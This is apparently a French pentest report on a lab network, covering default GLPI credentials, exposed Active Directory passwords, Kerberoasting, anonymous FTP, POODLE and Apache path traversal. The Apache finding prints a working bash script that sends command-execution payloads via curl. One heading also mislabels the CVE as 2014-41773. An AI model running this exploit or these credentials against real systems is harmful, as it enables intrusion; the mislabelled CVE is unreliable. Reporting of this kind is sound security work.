|  |
| --- |
| CyberExpert |
| Vulnerability Report |
| Tuesday, January 9, 2024 |



modifications history

|  |  |  |  |
| --- | --- | --- | --- |
| **Version** | **Date** | **Author** | **Description** |
| 1.0 | 01/09/2024 | Alexandre Calvez | Initial Version |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |

Table of Contents

1. General Information

1.1 Scope

1.2 Organisation

2. Vulnerabilities summary

2.1 Technical details

General Information

Scope

Tryhack Pentesting has mandated us to perform security tests on the following scope:

* 10.0.1.10
* 10.0.1.20
* 10.0.1.21
* 10.0.1.30
* 10.0.1.31
* 10.0.1.51
* 10.0.1.53
* 10.0.1.59
* 10.0.1.62
* 10.0.1.64
* 10.0.1.67
* 10.0.1.200
* 10.0.1.202
* 10.0.1.206
* 10.0.1.207
* 10.0.1.208
* 10.0.1.211
* middle-earth
* mordor

Organisation

The testing activities were performed between 01/09/2024 and 01/09/2024.

Vulnerabilities summary

Following vulnerabilities have been discovered:

|  |  |  |  |
| --- | --- | --- | --- |
| **Risk** | **ID** | **Vulnerability** | **Affected Scope** |
| Critical | IDX-002 | Accès Non Autorisé aux Ressources / Redirection | * **Répertoire /password :** Risque élevé de compromission des comptes utilisateur, accès non autorisé aux informations sensibles. * **Répertoire /admin :** Risque de manipulation des configurations, compromission de la sécurité de l'application, accès non autorisé à des informations critiques. * **Répertoire /portal :** Risque élevé d'accès non autorisé aux privilèges administratifs, compromission totale du système, et manipulation des données sensibles. |
| High | IDX-005 | Faiblesse du mot de passe sur le serveur GLPI | **Données du Parc Informatique :** L'attaquant pourrait avoir accès à des informations sensibles sur l'ensemble du parc informatique de l'organisation, y compris les détails sur les ordinateurs, les périphériques, les logiciels installés, les licences, etc.  **Gestion des Utilisateurs :** Comme GLPI gère les utilisateurs, les permissions et les groupes, un attaquant pourrait potentiellement modifier les autorisations d'utilisateurs, créer des comptes fictifs, ou altérer les groupes au sein de l'organisati  **Confidentialité des Informations :** Si des informations confidentielles sont stockées dans GLPI, l'attaquant pourrait y accéder, compromettant ainsi la confidentialité des données.  **Intégrité des Données :** L'attaquant pourrait altérer les données stockées dans GLPI, ce qui pourrait conduire à des erreurs dans la gestion du parc informatique ou induire en erreur les responsables informatiques.  **Disponibilité du Système :** Si l'attaquant a un accès non autorisé à GLPI, il pourrait également causer des dommages en compromettant la disponibilité du système, par exemple en supprimant des données cruciales ou en provoquant des dysfonctionnements. |
| High | IDX-006 | Paramètres de l'Active Directory | * **Bilbo, l'utilisateur :** * **Impact :** La sécurité du compte de l'utilisateur bilbo est compromise en raison de l'exposition du mot de passe ("MonPrecieux"). Cela pourrait entraîner un accès non autorisé à ses informations personnelles et à d'autres ressources auxquelles il a accès. * **Active Directory :** * **Impact :** La tentative d'attaque par login=password met en lumière une faille de sécurité dans la gestion des mots de passe au niveau d'Active Directory. Cela pourrait compromettre la confidentialité des informations stockées dans le répertoire actif, ainsi que l'intégrité des comptes utilisateur. * **Privileges d'Élévation :** * **Impact :** L'attaque Kerberoasting souligne des risques potentiels d'élévation de privilèges. Les informations obtenues pourraient être utilisées pour accéder à des ressources sensibles et exécuter des actions avec des autorisations élevées. |
| High | IDX-004 | Execution de code à distance (RCE) / CVE-2014-41773 | **Système d'Exploitation :** Si l'attaquant réussit à exploiter la vulnérabilité avec succès, cela pourrait potentiellement affecter la sécurité du système d'exploitation sur lequel le serveur Apache est installé.  **Données Stockées sur le Serveur :** En fonction des autorisations accordées au processus Apache, l'exploitation de cette vulnérabilité pourrait permettre l'accès, la modification ou la suppression de données stockées sur le serveur.  **Confidentialité des Informations :** La vulnérabilité pourrait compromettre la confidentialité des informations traitées par le serveur Apache, y compris les données transmises via des applications web, les journaux d'accès, ou d'autres données sensibles.  **Intégrité du Serveur :** L'exploitation de la vulnérabilité peut compromettre l'intégrité du serveur Apache en permettant à un attaquant d'apporter des modifications non autorisées à son environnement d'exécution.  **Disponibilité du Service :** En cas d'exploitation réussie, la vulnérabilité pourrait causer des problèmes de disponibilité en provoquant des arrêts de service, des dysfonctionnements ou des perturbations sur le serveur Apache. |
| High | IDX-003 | Failles dans les Protocoles de Communication /CVE 2014-3566 | **Serveur Web :** Le serveur web lui-même est directement concerné, en particulier s'il utilise SSL 3.0. La vulnérabilité pourrait permettre à un attaquant d'intercepter et de déchiffrer les communications entre le serveur web et les clients.  **Applications Web :** Les applications web qui utilisent SSL 3.0 peuvent être vulnérables. Cela pourrait inclure des applications internes ou externes qui traitent des données sensibles.  **Données Sensibles :** Les données échangées entre les clients et le serveur web peuvent être exposées si SSL 3.0 est utilisé. Cela pourrait inclure des informations d'identification, des données personnelles, ou d'autres données sensibles.  **Utilisateurs :** Les utilisateurs qui accèdent au serveur web peuvent être indirectement impactés, car leurs données de navigation et éventuellement leurs informations d'identification pourraient être compromises.  Il est essentiel de noter que la portée exacte de l'impact dépend de la configuration spécifique de l'environnement. Les organisations doivent évaluer attentivement quels actifs utilisent SSL 3.0 et prendre des mesures pour désactiver ou mettre à jour ce protocole afin de remédier à la vulnérabilité POODLE. |
| Medium | VULN-001 | Accès Non Autorisé aux Ressources / FTP | **Nature des données :** Si le serveur FTP contient des données sensibles, confidentielles ou personnelles, l'impact potentiel peut être grave. Cela pourrait inclure des informations telles que des données clients, des informations financières, des données médicales, etc. |

Technical Details

Faiblesse du mot de passe sur le serveur GLPI

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | High | | CVSSv3 Score | | 8.8 |
| **CVSSv3 criterias** | Attack Vector : | **Adjacent Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **None** | Integrity : | **High** | |
| User Interaction : | **None** | Availability : | **High** | |
| **Affected scope** | **Données du Parc Informatique :** L'attaquant pourrait avoir accès à des informations sensibles sur l'ensemble du parc informatique de l'organisation, y compris les détails sur les ordinateurs, les périphériques, les logiciels installés, les licences, etc.  **Gestion des Utilisateurs :** Comme GLPI gère les utilisateurs, les permissions et les groupes, un attaquant pourrait potentiellement modifier les autorisations d'utilisateurs, créer des comptes fictifs, ou altérer les groupes au sein de l'organisati  **Confidentialité des Informations :** Si des informations confidentielles sont stockées dans GLPI, l'attaquant pourrait y accéder, compromettant ainsi la confidentialité des données.  **Intégrité des Données :** L'attaquant pourrait altérer les données stockées dans GLPI, ce qui pourrait conduire à des erreurs dans la gestion du parc informatique ou induire en erreur les responsables informatiques.  **Disponibilité du Système :** Si l'attaquant a un accès non autorisé à GLPI, il pourrait également causer des dommages en compromettant la disponibilité du système, par exemple en supprimant des données cruciales ou en provoquant des dysfonctionnements. | | | | |
| **Description** | **Machine: 10.0.1.21**  Le mot de passe par défaut est resté inchanger pour le serveur GLPI (Gestionnaire Libre de Parc Informatique). Les mots de passe faibles peuvent être devinés facilement par des attaquants, exposant les comptes à des risques de compromission.  Les conséquences de l'utilisation de mots de passe faibles comprennent le vol d'identité, l'accès non autorisé aux systèmes et aux données sensibles, ainsi que la possibilité de mener des attaques de force brute ou de dictionnaire pour accéder aux comptes utilisateur.  Pour remédier à cette vulnérabilité, il est crucial d'éduquer les utilisateurs sur les bonnes pratiques de création de mots de passe forts, d'exiger l'utilisation de mots de passe complexes et de mettre en place des politiques de verrouillage de compte après un certain nombre de tentatives infructueuses. La mise en œuvre de l'authentification à deux facteurs (2FA) peut également renforcer la sécurité des comptes. | | | | |
| **Observation** | Durant l'attaque de recherche de répertoire avec gobuster on à déceler un chemin vers GLPI qui permet de suivre et de gérer l'ensemble du parc informatique de l'organisation, y compris les ordinateurs, les périphériques, les logiciels, les licences. Ainsi que la gestion des utilisateurs, leurs permissions, et les groupes au sein de l'organisation.  Les indentifiants étant par défaut :  login : glpi  password : glpi  Un attaquant peut donc y accéder facilement. | | | | |
| **Test details**    Image 1 – gobuster.png    Image 1 – 21Glpi.png    Image 1 – accesGlpi.png    Image 1 – userGlpi.png | | | | | |
| **Remediation** | Exigez des politiques de mot de passe solides, comprenant des combinaisons de lettres majuscules et minuscules, de chiffres et de caractères spéciaux.  Mettez en place des mécanismes de verrouillage de compte après un certain nombre de tentatives infructueuses.  Encouragez les utilisateurs à ne pas réutiliser les mêmes mots de passe sur différents comptes et à utiliser des gestionnaires de mots de passe pour stocker en toute sécurité leurs informations d'identification.  Considérez également l'implémentation de l'authentification à deux facteurs (2FA) pour renforcer la sécurité des comptes.  Vous pouvez aussi restreindre l'accès au répertoire GLPI via le serveur Apache. | | | | |
| **References** | <https://glpi-project.org/fr/glpi-documentation/> | | | | |

Paramètres de l'Active Directory

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | High | | CVSSv3 Score | | 7.1 |
| **CVSSv3 criterias** | Attack Vector : | **Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **High** | Confidentiality : | **High** | |
| Required Privileges : | **Low** | Integrity : | **High** | |
| User Interaction : | **None** | Availability : | **Low** | |
| **Affected scope** | * **Bilbo, l'utilisateur :** * **Impact :** La sécurité du compte de l'utilisateur bilbo est compromise en raison de l'exposition du mot de passe ("MonPrecieux"). Cela pourrait entraîner un accès non autorisé à ses informations personnelles et à d'autres ressources auxquelles il a accès. * **Active Directory :** * **Impact :** La tentative d'attaque par login=password met en lumière une faille de sécurité dans la gestion des mots de passe au niveau d'Active Directory. Cela pourrait compromettre la confidentialité des informations stockées dans le répertoire actif, ainsi que l'intégrité des comptes utilisateur. * **Privileges d'Élévation :** * **Impact :** L'attaque Kerberoasting souligne des risques potentiels d'élévation de privilèges. Les informations obtenues pourraient être utilisées pour accéder à des ressources sensibles et exécuter des actions avec des autorisations élevées. | | | | |
| **Description** | Le test de pénétration a été réalisé dans le contexte d'un environnement utilisant Active Directory (AD) comme système de gestion des identités. L'architecture réseau comprend plusieurs plages d'IP, notamment la plage 10.0.1.20/24. Ce contexte a été crucial pour comprendre et évaluer la sécurité de l'environnement cible.  **1. Énumération SMB :**   * L'évaluation a débuté par une énumération du service SMB sur la plage d'IP 10.0.1.20/24, visant à identifier des points d'entrée potentiels.   **2. Énumération des Utilisateurs :**   * Une analyse approfondie des utilisateurs sur le serveur SMB, en particulier sur la machine RIVENDELL, a révélé des commentaires en clair et exposé le mot de passe de l'utilisateur bilbo ("MonPrecieux"), soulignant des pratiques potentiellement risquées.   **3. Attaque Kerberos et PassTheHash :**   * Suite à la découverte d'informations sensibles, une attaque Kerberos a été lancée pour récupérer le ticket de bilbo, suivi du craquage avec hashcat (PassTheHash), permettant l'identification des informations d'authentification login/password de Merry.   **4. Énumération des Partages et Utilisateurs avec Merry :**   * Malgré l'accès aux informations d'authentification de Merry, l'énumération des partages et utilisateurs n'a pas produit de résultats concluants, soulevant des questions sur la segmentation du réseau.   **5. Attaque par Login=Password :**   * Une tentative d'identifier un login=password parmi les utilisateurs d'Active Directory a été effectuée, impliquant la création d'un fichier texte répertoriant tous les utilisateurs connus. Cette approche a mis en évidence une faille de sécurité majeure liée à des mots de passe faibles.   **6. Attaque Réussie avec l'Utilisateur Gollum :**   * L'attaque réussie avec l'utilisateur Gollum a permis une analyse approfondie avec BloodHound, une énumération des partages avec cme, et l'exploitation réussie de l'attaque Kerberoasting pour récupérer le hash de legolas.   **7. Sniffing du Réseau avec Responder :**   * Une tentative de sniffing du réseau avec Responder a été entreprise pour récupérer les hashes de requêtes. Les résultats étaient limités, suggérant des contre-mesures possibles de la blue team. | | | | |
| **Observation** | * **Exposition de Commentaires et Mots de Passe :** * L'énumération SMB a mis en lumière des commentaires en clair et exposé le mot de passe de l'utilisateur bilbo ("MonPrecieux"). Ces pratiques soulignent des faiblesses dans la configuration de sécurité, mettant en danger la confidentialité des informations. * **Attaque par Login=Password - Faille de Sécurité Majeure :** * La tentative de trouver un login=password parmi les utilisateurs d'Active Directory, avec l'utilisation d'un fichier texte répertoriant les utilisateurs connus, souligne une faille de sécurité significative liée à des mots de passe faibles. Cela démontre l'importance de renforcer les politiques de gestion des mots de passe. * **Risques Potentiels d'Élévation de Privilèges :** * L'attaque Kerberoasting a réussi, mettant en évidence des risques potentiels d'élévation de privilèges. Les résultats de cette attaque doivent être pris en compte lors de la définition de mesures correctives. * **Tentative de Sniffing :** * La tentative de capture du réseau avec Responder n'a pas abouti comme prévu, laissant supposer la mise en place de contre-mesures proactives par la blue team. Cette observation met en évidence la réactivité et l'efficacité de l'équipe de défense (blue team) dans la mise en œuvre de mesures préventives. | | | | |
| **Test details**    Image 1 – Cmesmb.png    Image 1 – bilbo\_Monprecieux.png    Image 1 – TicketKRBMerry.png    Image 1 – HashcatTktBilbo.png    Image 1 – SMBMerryShare.png    Image 1 – SMBuserMerry.png  Guest  galadriel  arwen  eowyn  bilbo  frodo  sam  pippin  merry  glpi  sql\_svc  dark.marshal  guritz  ugluk  lurtz  gothmog  gollum  balrog  saruman  sauron  krbtgt  ansible  DefaultAccount  Guest  Administrator  Khamul.easterling  witchking.angmar  ginglas  skinbark  treebeard  Gandalf  aragorn  legolas  gimli  boromir  faramir  theoden  denethor    Image 1 – BFuser.png    Image 1 – PythonBloodGol.png    Image 1 – bloodhound\_gollum2.png    Image 1 – Sharegollum.png    Image 1 – Legolas.png | | | | | |
| **Remediation** | **Gestion Renforcée des Commentaires et Mots de Passe :**   * Effectuer un audit approfondi des commentaires dans Active Directory pour identifier et supprimer toute information sensible. * Mettre en place des politiques de gestion des mots de passe plus robustes, exigeant des mots de passe complexes et régulièrement mis à jour.   **Analyse des Permissions d'Accès et Élévation de Privilèges :**   * Effectuer une analyse approfondie des permissions d'accès dans Active Directory pour garantir un accès approprié. * Mettre en place des mécanismes de détection d'élévation de privilèges pour réagir rapidement en cas d'activité suspecte. | | | | |
| **References** | <https://learn.microsoft.com/fr-fr/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory>  <https://fr.tenable.com/indicators/ioa/I-Kerberoasting>  <https://www.globalsecuritymag.fr/Envoi-de-trames-LLMNR-malicieuses,20150313,51556> | | | | |

Accès Non Autorisé aux Ressources / Redirection

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Critical | | CVSSv3 Score | | 9.8 |
| **CVSSv3 criterias** | Attack Vector : | **Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **None** | Integrity : | **High** | |
| User Interaction : | **None** | Availability : | **High** | |
| **Affected scope** | * **Répertoire /password :** Risque élevé de compromission des comptes utilisateur, accès non autorisé aux informations sensibles. * **Répertoire /admin :** Risque de manipulation des configurations, compromission de la sécurité de l'application, accès non autorisé à des informations critiques. * **Répertoire /portal :** Risque élevé d'accès non autorisé aux privilèges administratifs, compromission totale du système, et manipulation des données sensibles. | | | | |
| **Description** | **Machine : 10.0.1.53**  L'application ne dispose pas de mécanismes adéquats de contrôle d'accès aux ressources. Cela peut entraîner un accès non autorisé à des fonctionnalités, des données ou des fichiers sensibles par des utilisateurs non autorisés.  Les attaquants pourraient exploiter cette faille pour accéder à des informations confidentielles, exécuter des opérations malveillantes ou compromettre l'intégrité des données. | | | | |
| **Observation** |  | | | | |
| **Test details**    Image 1 – gobuster.png    Image 1 – password.png    Image 1 – admin.png    Image 1 – portal.png    Image 1 – configInc.png    Image 1 – credAdmin.png | | | | | |
| **Remediation** | * Restreindre l'accès aux répertoires sensibles. * Mettre en œuvre des mécanismes d'authentification robustes. * Chiffrer les identifiants stockés et les données sensibles. * Limiter l'accès aux configurations du site aux utilisateurs autorisés. * Mettre en place des mécanismes de détection d'intrusion. * Modifier immédiatement les identifiants administratifs exposés. | | | | |
| **References** | <https://www.vaadata.com/blog/fr/top-10-owasp-1-securite-et-vulnerabilites-du-controle-dacces/> | | | | |

Execution de code à distance (RCE) / CVE-2014-41773

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | High | | CVSSv3 Score | | 8.1 |
| **CVSSv3 criterias** | Attack Vector : | **Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **High** | Confidentiality : | **High** | |
| Required Privileges : | **None** | Integrity : | **High** | |
| User Interaction : | **None** | Availability : | **High** | |
| **Affected scope** | **Système d'Exploitation :** Si l'attaquant réussit à exploiter la vulnérabilité avec succès, cela pourrait potentiellement affecter la sécurité du système d'exploitation sur lequel le serveur Apache est installé.  **Données Stockées sur le Serveur :** En fonction des autorisations accordées au processus Apache, l'exploitation de cette vulnérabilité pourrait permettre l'accès, la modification ou la suppression de données stockées sur le serveur.  **Confidentialité des Informations :** La vulnérabilité pourrait compromettre la confidentialité des informations traitées par le serveur Apache, y compris les données transmises via des applications web, les journaux d'accès, ou d'autres données sensibles.  **Intégrité du Serveur :** L'exploitation de la vulnérabilité peut compromettre l'intégrité du serveur Apache en permettant à un attaquant d'apporter des modifications non autorisées à son environnement d'exécution.  **Disponibilité du Service :** En cas d'exploitation réussie, la vulnérabilité pourrait causer des problèmes de disponibilité en provoquant des arrêts de service, des dysfonctionnements ou des perturbations sur le serveur Apache. | | | | |
| **Description** | **Machine: 10.0.1.207**  L'application est vulnérable à une attaque d'exécution de code à distance (RCE), permettant aux attaquants d'injecter et d'exécuter du code malveillant sur le serveur distant.  Cela peut entraîner la compromission complète du serveur et l'exécution d'opérations non autorisées.  De plus, l'application est vulnérable à une faille de sécurité où un attaquant exploite des lacunes dans la gestion des chemins de fichiers pour accéder à des fichiers ou répertoires auxquels il n'est pas censé avoir accès.  Cette vulnérabilité peut permettre à un attaquant de remonter dans la structure des répertoires au-delà du niveau auquel il devrait être limité, compromettant ainsi la sécurité du système. | | | | |
| **Observation** | Lors de l'analyse avec Nmap, nous avons focalisé notre attention sur la version du serveur Apache, ce qui a conduit à la détection de la CVE-2021-41773 affectant Apache HTTP Server 2.4.49.  Par la suite, nous avons employé un script Bash spécifique visant à exploiter cette vulnérabilité.  #!/bin/bash  if [[ $1 == '' ]]; [[ $2 == '' ]]; then  echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]  echo ./PoC.sh targets.txt /etc/passwd  exit  fi  for host in $(cat $1); do  echo $host  curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done  En résumé, ce script est utilisé pour exploiter une vulnérabilité de path traversal sur une liste d'hôtes (fournie dans un fichier spécifié en tant que premier argument), en utilisant un chemin spécifié (deuxième argument) et une commande (troisième argument). | | | | |
| **Test details**    Image 1 – nmap207.png    Image 1 – bin207.png | | | | | |
| **Remediation** | Mettez à jour les bibliothèques et les frameworks utilisés pour éliminer les vulnérabilités connues. Appliquez des mécanismes de sécurité pour filtrer et désinfecter les entrées utilisateur. Mettez en place une isolation appropriée pour limiter les impacts potentiels d'une attaque RCE.  Pour le path transversal appliquez une validation stricte des entrées, favorisez les chemins absolus, et restreignez l'accès aux répertoires sensibles. | | | | |
| **References** | <https://www.exploit-db.com/exploits/50383> | | | | |

Accès Non Autorisé aux Ressources / FTP

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | Medium | | CVSSv3 Score | | 5.3 |
| **CVSSv3 criterias** | Attack Vector : | **Network** | Scope : | **Unchanged** | |
| Attack Complexity : | **Low** | Confidentiality : | **Low** | |
| Required Privileges : | **None** | Integrity : | **None** | |
| User Interaction : | **None** | Availability : | **None** | |
| **Affected scope** | **Nature des données :** Si le serveur FTP contient des données sensibles, confidentielles ou personnelles, l'impact potentiel peut être grave. Cela pourrait inclure des informations telles que des données clients, des informations financières, des données médicales, etc. | | | | |
| **Description** | **Machine: 10.0.1.51**  L'application ne dispose pas de mécanismes adéquats de contrôle d'accès aux ressources. Cela peut entraîner un accès non autorisé à des fonctionnalités, des données ou des fichiers sensibles par des utilisateurs non autorisés.  Les attaquants pourraient exploiter cette faille pour accéder à des informations confidentielles, exécuter des opérations malveillantes ou compromettre l'intégrité des données. | | | | |
| **Observation** | Une connexion anonyme au serveur FTP a été détectée, permettant un accès non autorisé. Cette constatation souligne une vulnérabilité significative nécessitant une attention immédiate pour renforcer la sécurité du serveur FTP et prévenir tout accès non autorisé. | | | | |
| **Test details**    Image 1 – nmap.png    Image 1 – 2024-01-09\_03-57.png | | | | | |
| **Remediation** | * **Désactivation de la Connexion Anonyme :** Désactivez la connexion anonyme sur le serveur FTP pour empêcher tout accès non autorisé. Cela peut être réalisé en ajustant la configuration du serveur FTP pour refuser les connexions anonymes. * **Implémentation de l'Authentification :** Mettez en place un mécanisme d'authentification solide sur le serveur FTP en utilisant des identifiants de connexion sécurisés. Cela garantira que seuls les utilisateurs autorisés peuvent accéder au serveur. | | | | |
| **References** | <https://inetdoc.net/guides/tutoriel-secu/tutoriel.securite.attaquesprotocoles.ftp.html> | | | | |

Failles dans les Protocoles de Communication /CVE 2014-3566

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| CVSS Severity | High | | CVSSv3 Score | | 8.6 |
| **CVSSv3 criterias** | Attack Vector : | **Network** | Scope : | **Changed** | |
| Attack Complexity : | **Low** | Confidentiality : | **High** | |
| Required Privileges : | **None** | Integrity : | **None** | |
| User Interaction : | **None** | Availability : | **None** | |
| **Affected scope** | **Serveur Web :** Le serveur web lui-même est directement concerné, en particulier s'il utilise SSL 3.0. La vulnérabilité pourrait permettre à un attaquant d'intercepter et de déchiffrer les communications entre le serveur web et les clients.  **Applications Web :** Les applications web qui utilisent SSL 3.0 peuvent être vulnérables. Cela pourrait inclure des applications internes ou externes qui traitent des données sensibles.  **Données Sensibles :** Les données échangées entre les clients et le serveur web peuvent être exposées si SSL 3.0 est utilisé. Cela pourrait inclure des informations d'identification, des données personnelles, ou d'autres données sensibles.  **Utilisateurs :** Les utilisateurs qui accèdent au serveur web peuvent être indirectement impactés, car leurs données de navigation et éventuellement leurs informations d'identification pourraient être compromises.  Il est essentiel de noter que la portée exacte de l'impact dépend de la configuration spécifique de l'environnement. Les organisations doivent évaluer attentivement quels actifs utilisent SSL 3.0 et prendre des mesures pour désactiver ou mettre à jour ce protocole afin de remédier à la vulnérabilité POODLE. | | | | |
| **Description** | **Machine: 10.0.1.65**  L'utilisation de protocoles de communication non sécurisés peut exposer les données sensibles à des attaques d'interception et de manipulation. Les attaquants peuvent exploiter les vulnérabilités dans les protocoles pour voler des informations, compromettre la confidentialité et exécuter des attaques man-in-the-middle. | | | | |
| **Observation** | Lors d'un scan approfondi avec Nmap sur la machine à l'adresse IP 10.0.1.65, une vulnérabilité CVE-2014-3566, connue sous le nom de POODLE (Padding Oracle On Downgraded Legacy), a été détectée. Cette vulnérabilité permet une attaque de l'homme du milieu (MITM) en se positionnant entre le navigateur Web et le serveur Web, permettant ainsi le déchiffrement d'informations chiffrées.  POODLE affecte principalement les anciennes normes de chiffrement, notamment Secure Socket Layer (SSL) version 3.0. L'exploitation de cette vulnérabilité a été réalisée avec l'utilisation de msfconsole (Metasploit Framework) et de son scanner SSL. Cela a conduit à l'accès à divers répertoires sur la machine cible. | | | | |
| **Test details**    Image 1 – nmap.png    Image 1 – msf.png    Image 1 – msfSelectScan.png    Image 1 – msfSet.png    Image 1 – msfls.png    Image 1 – msfLess.png    Image 1 – msfFlag.png | | | | | |
| **Remediation** | **Désactivation de SSL 3.0 :** La première mesure consiste à désactiver complètement l'utilisation de SSL 3.0 sur le serveur. Cela peut généralement être fait en configurant le serveur web pour ne plus prendre en charge SSL 3.0. Dans le contexte d'Apache, par exemple, vous pouvez le faire en ajustant la configuration du serveur pour ne prendre en charge que des protocoles de chiffrement plus récents comme TLS.  **Mise à jour des Protocoles de Chiffrement :** Assurez-vous que votre serveur web et vos applications utilisent des protocoles de chiffrement modernes, tels que TLS (Transport Layer Security). Mettez à jour votre serveur web pour prendre en charge les versions récentes de TLS, car elles bénéficient généralement de correctifs de sécurité et d'améliorations par rapport à SSL. | | | | |
| **References** | <https://access.redhat.com/security/cve/cve-2014-3566>  <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566> | | | | |